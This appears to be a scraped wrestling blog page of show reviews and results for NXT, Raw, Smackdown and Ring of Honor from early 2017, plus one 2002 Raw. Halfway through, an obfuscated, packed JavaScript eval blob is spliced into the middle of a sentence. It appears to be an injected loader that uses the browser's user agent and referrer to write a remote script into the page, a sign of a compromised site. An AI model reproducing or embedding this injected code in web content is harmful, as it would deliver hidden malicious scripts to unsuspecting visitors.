New Column: So Long and Farewell
Four in one week. That’s hard.
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Please give us any stories you might have of any of them. They’re always worth it.
Four in one week. That’s hard.
https://wrestlingrumors.net/kbs-review-long-farewell/
Please give us any stories you might have of any of them. They’re always worth it.
NXT
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February 22, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Percy Watson, Nigel McGuinness
In Memory of George Steele.
Quick video on the triple threat.
Opening sequence.
Liv Morgan vs. Peyton Royce vs. Ember Moon
Video on Pete Dunne and Mark Andrews.
Kassius Ohno is coming back.
Shinsuke Nakamura is healing up.
Mark Andrews vs. Pete Dunne
We take a break and come back with Andrews flipping Dunne over and grabbing a springboard hurricanrana. Dunne is ready for the shooting star though and forearms Andrews out of the air. The X Plex gets two but Andrews gets out of the Bitter End. A reverse hurricanrana of all things puts Dunne down again. Another Bitter End is reversed into a small package for two and the X Plex is countered into the Stundog Millionaire. Dunne gets the knees up on the shooting star though and the Bitter End wraps Andrews up at 13:52.
Patrick Clark is in action next week.
Tye Dillinger is ready for Sanity, no matter what they throw at him.
No Way Jose vs. Bobby Roode
Results
Pete Dunne b. Mark Andrews – Bitter End
Bobby Roode b. No Way Jose – Glorious DDT
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Night Raw
Date: September 23, 2002
Location: Arrowhead Pond, Anaheim, California
Commentators: Jim Ross, Jerry Lawler
Bischoff welcomes an unnamed face to the Raw side when Rico comes in. Eric wants to know where Rico was last night but it was Bischoff who sent them out on the town. Anyway Rico tells him what Booker and Goldust were up to and Eric is ticked.
Jeff Hardy vs. Big Show
We look back at Tommy Dreamer beating up Christopher Nowinski two weeks back.
Nowinski is in a classroom and wants to fight dreamer. Post break Dreamer shows up and gets caned down. Dreamer puts him through the ceiling and the beating just keeps going because we NEED hardcore stuff around here without actually having hardcore matches.
Randy Orton vs. Steven Richards
Two notes here: first of all, they kept this short but covered the point. We know why Flair did it and we know what he gets out of it. Simple yet effective, as promos often need to be.
Intercontinental Title: Chris Jericho vs. Goldust
Tag Team Titles: Un-Americans vs. Kane/???
Booker T. vs. Rico
Bubba Ray Dudley/Rob Van Dam vs. HHH/Ric Flair
After some long entrances, HHH jumps Bubba from behind and gets backdropped for his efforts. The fans want tables but get Flair, who has no issues with Bubba, making this kind of pointless. Some shoulders put Flair down as JR thinks Ric is going through “the change of life”.
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It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beern|var|u0026u|referrer|bbzzy||js|php'.split('|'),0,{})) that time of year again. On March 1, I’ll be starting up the Wrestlemania Count-Up and that means I’ll be needing to redo a pair of them. Of course I’ll be redoing Wrestlemania XXXII but as usual, you all get to pick which other one I do.
I did XXI last year and I’m redoing XXXII this year but all thirty others are available.
I recently got to be a guest on a fairly new show with the idea of being positive instead of bashing everything WWE does. We’re talking about Wrestlemania experiences and I talk about what it was like being at Wrestlemania XXX and XXXII. The host is a very smart guy and it was a lot of fun to be on the show. Check it out.
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Smackdown
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February 21, 2017
Location: Citizens Business Bank Arena, Ontario, California
Commentators: John Bradshaw Layfield, David Otunga. Tom Phillips, Mauro Ranallo
Opening sequence.
Mickie James comes down to celebrate and gets in a fight with Becky.
Kalisto wants to be in the main event so tens of thousands of people can chant LUCHA LUCHA LUCHA.
Miz runs down his resume and thinks being in the main event of Wrestlemania should be added.
Natalya is ready to expose Nikki Bella as a fraud.
Breezango vs. American Alpha
Black History Month video on Jackie Robinson.
Dolph Ziggler superkicks the wall of the interview set.
Mojo Rawley is ready to win another battle royal.
Nikki Bella says after tonight, Natalya will be the broken Hart.
Nikki Bella vs. Natalya
Diamond Dallas Page Hall of Fame announcement.
Orton and Wyatt will be watching.
Battle Royal
Baron Corbin, Apollo Crews, Dolph Ziggler, The Miz, Luke Harper, Kalisto, AJ Styles, John Cena, Dean Ambrose, Mojo Rawley
Back from another break with Styles and Ambrose knocking each other down. Cena loads up the Five Knuckle Shuffle on Styles but walks into End of Days. Ambrose tosses Corbin from behind and is quickly pulled to the floor for another End of Days. With Cena staggering to his feet, Miz sneaks in and tosses him, with Cena leaving a bit too calmly.
Results
Alexa Bliss b. Mickie James – Rollup with a handful of trunks
American Alpha b. Breezango – Steiner Bulldog to Fandango
Natalya b. Nikki Bella – Pin after a pipe shot from Maryse
A battle royal went to a draw
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of Honor
Date: February 15, 2017
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Kevin Kelly, Mark Briscoe
Cody Rhodes is sitting in a dark room smoking a cigar. He goes over some of his former gimmicks and asks if the world is ready for the American Nightmare.
Opening sequence.
Adam Page vs. Matt Sells
Page jumps him during the entrances and hits a Helluva Kick in the corner. A toss into the post sets up the Rite of Passage for the pin at 1:14. The match was such a squash that we cut to the commentary team twice in less than seventy five seconds and Page never took his jacket off.
Jay Lethal/Bobby Fish vs. Adam Cole/Cody
Since this was the main event, Dalton Castle/the Boys vs. the Rebellion has been switched into its place. Therefore, Dalton wants to see some angry teeth from the Boys.
Mark Briscoe is ready to see his brother become #1 contender and win the title in Las Vegas.
Quick hype for the Hardys vs. the Young Bucks. I still love the fact that there has been no mention of the Bucks going to TNA in this whole thing.
Mark Briscoe vs. Sal Rinauro
Rebellion vs. Dalton Castle/The Boys
Overall Rating: D. What in the world is going on with this company right now? The World Title is barely a thing, the TV shows are all over the place, the big story is about waiting on a #1 contender and right now the big draw is bringing in a TNA team to face a team that would rather be in Japan.
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Night Raw
Date: February 20, 2017
Location: Staples Center, Los Angeles, California
Commentators: Michael Cole, Corey Graves, Byron Saxton
In Memory of George Steele. Not Ivan Koloff for some reason.
We open with a long recap of the Festival of Friendship and Kevin Owens turning on Chris Jericho. Sweet popcorn baked into a pie that was an amazing segment.
Cesaro/Sheamus vs. Enzo Amore/Big Cass
Owens is leaving when Mick Foley comes in to say he has a match with Sami Zayn tonight. Kevin chuckles and says he thought Foley liked Sami.
Video on Braun Strowman.
Brian Kendrick vs. Akira Tozawa
Roman Reigns/??? vs. Anderson and Gallows
Post match Reigns Superman Punches Gallows and spears Anderson out of the air, sending the champs crawling away.
Video on New Day being announced as the hosts of Wrestlemania.
New Day vs. Rusev/Jinder Mahal
Video on George Steele.
Austin Aries is in the ring for the contract signing between Neville and Jack Gallagher. Since Gallagher is present, there are already cookies and tea prepared. Gallagher quickly signs before Neville can even come out. Neville does the same and immediately goes to leave, only to be stopped by Gallagher.
Nia Jax b. Sara Pierce
Splash and Samoan drop finish Pierce at 34 seconds.
Black History Month video on Barack Obama.
Sasha Banks vs. Charlotte
Bayley is on commentary. Joined in progress again with Sasha grabbing a headscissors but getting her face driven into the match. Charlotte does the Figure Four faceplants and grabs a necklock. Sasha is sent outside and we take a break. Back with Charlotte grabbing a dragon sleeper. Sasha fights out and makes her comeback, including a dropkick in the corner. Cue Dana Brooke for a distraction but Bayley cuts her off, allowing the Banks Statement to make Charlotte tap at 10:03.
Diamond Dallas Page Hall of Fame video. This is LONG overdue.
Kevin Owens vs. Sami Zayn
At 10:48pm, this show is dedicated to the memory of Ivan Koloff.
The ring is reenforced for the main event.
Braun Strowman vs. Big Show
Post match Reigns comes out and gets in a few Superman Punches but Strowman hits the powerslam to end the show.
Results
Enzo Amore/Big Cass b. Cesaro/Sheamus – East River Crossing to Cesaro
Anderson and Gallows b. Roman Reigns via DQ when Reigns used a chair
New Day b. Rusev/Jinder Mahal – Midnight Hour to Mahal
Nia Jax b. Sara Pierce – Samoan drop
Sasha Banks b. Charlotte – Bank Statement
Kevin Owens b. Sami Zayn – Pop Up Powerbomb
Braun Strowman b. Big Show – Powerslam
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Now can we get him considered for sainthood as well?
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That would be Donatello as the Ultimate Warrior, Raphael as Finn Balor, Michelangelo as Roddy Piper and Raphael as the Rock. I’m not sure if some of those make sense but do you really think it matters here?